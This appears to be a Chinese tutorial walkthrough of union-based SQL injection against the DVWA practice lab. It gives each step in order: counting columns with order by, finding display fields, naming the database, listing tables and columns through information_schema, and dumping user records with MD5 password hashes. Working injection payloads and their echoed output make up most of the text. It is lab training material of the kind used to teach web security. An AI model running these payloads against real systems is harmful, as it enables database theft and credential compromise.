1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
| 1.
判断字段数 - 使用 order by 语句
1' or 1=1 order by 1 #
临界报错即可判断字段数 (临界 - 1)
2.
确定显示的字段顺序
会进行多个查询
UNION 用于将两个或多个SELECT语句的结果合并为一个结果集
要使用UNION, 两个SELECT语句必须具有相同的列数, 而且列的数据类型必须兼容
UNION操作会将两个结果集的列对齐, 对应的位置会被映射到相同的字段上
1' union select 1,2 #
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
SELECT first_name, last_name FROM users WHERE user_id = '1' union select 1,2 #';
3.
获取数据库名
1' union select 1,database() #
回显信息
ID: 1' union select 1,database() #
First name: admin
Surname: admin
ID: 1' union select 1,database() #
First name: 1
Surname: dvwa
4.
获取数据库中的表
1' union select 1, group_concat(table_name) from information_schema.tables where table_schema=database() #
回显信息
ID: 1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() #
First name: admin
Surname: admin
ID: 1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() #
First name: 1
Surname: users,guestbook
5.
获取字段名
1' union select 1,group_concat(column_name) from information_schema.columns where table_name='users' #
ID: 1' union select 1,group_concat(column_name) from information_schema.columns where table_name='users' #
First name: admin
Surname: admin
ID: 1' union select 1,group_concat(column_name) from information_schema.columns where table_name='users' #
First name: 1
Surname: user_id,first_name,last_name,user,password,avatar,last_login,failed_login
6.
获取字段内容
其一
1' union select 1,group_concat(user_id,0x3a,first_name,0x3a,last_name,0x3a,user,0x3a,password,0x3a,avatar,0x3a,last_login,0x3a,failed_login) from users #
使用UNION操作
把两个SELECT语句的结果合并
第一个SELECT只是一个简单的1
而第二个SELECT使用了GROUP_CONCAT函数
将多个字段的值用冒号分隔
拼接成一个字符串, 回显的结果显示, 所有用户的信息都被拼接在一起
包括user_id、first_name、last_name等等
每个字段之间用冒号分隔, 多个用户之间用逗号分隔
GROUP_CONCAT 字符串拼接
前面的 1 用于匹配列数, 确保查询顺利执行
In [2]: chr(0x3a)
Out[2]: ':'
回显
ID: 1' union select 1,group_concat(user_id,0x3a,first_name,0x3a,last_name,0x3a,user,0x3a,password,0x3a,avatar,0x3a,last_login,0x3a,failed_login) from users #
First name: admin
Surname: admin
ID: 1' union select 1,group_concat(user_id,0x3a,first_name,0x3a,last_name,0x3a,user,0x3a,password,0x3a,avatar,0x3a,last_login,0x3a,failed_login) from users #
First name: 1
Surname: 1:admin:admin:admin:5f4dcc3b5aa765d61d8327deb882cf99:/hackable/users/admin.jpg:2025-02-20 11:55:33:0,2:Gordon:Brown:gordonb:e99a18c428cb38d5f260853678922e03:/hackable/users/gordonb.jpg:2025-02-20 11:55:33:0,3:Hack:Me:1337:8d3533d75ae2c3966d7e0d4fcc69216b:/hackable/users/1337.jpg:2025-02-20 11:55:33:0,4:Pablo:Picasso:pablo:0d107d09f5bbe40cade3de5c71e9e9b7:/hackable/users/pablo.jpg:2025-02-20 11:55:33:0,5:Bob:Smith:smithy:5f4dcc3b5aa765d61d8327deb882cf99:/hackable/users/smithy.jpg:2025-02-20 11:55:33:0
其二
1' or 1=1 union select group_concat(user_id,first_name,last_name),group_concat(password) from users #
回显
ID: 1' or 1=1 union select group_concat(user_id,first_name,last_name),group_concat(password) from users #
First name: admin
Surname: admin
ID: 1' or 1=1 union select group_concat(user_id,first_name,last_name),group_concat(password) from users #
First name: Gordon
Surname: Brown
ID: 1' or 1=1 union select group_concat(user_id,first_name,last_name),group_concat(password) from users #
First name: Hack
Surname: Me
ID: 1' or 1=1 union select group_concat(user_id,first_name,last_name),group_concat(password) from users #
First name: Pablo
Surname: Picasso
ID: 1' or 1=1 union select group_concat(user_id,first_name,last_name),group_concat(password) from users #
First name: Bob
Surname: Smith
ID: 1' or 1=1 union select group_concat(user_id,first_name,last_name),group_concat(password) from users #
First name: 1adminadmin,2GordonBrown,3HackMe,4PabloPicasso,5BobSmith
Surname: 5f4dcc3b5aa765d61d8327deb882cf99,e99a18c428cb38d5f260853678922e03,8d3533d75ae2c3966d7e0d4fcc69216b,0d107d09f5bbe40cade3de5c71e9e9b7,5f4dcc3b5aa765d61d8327deb882cf99
|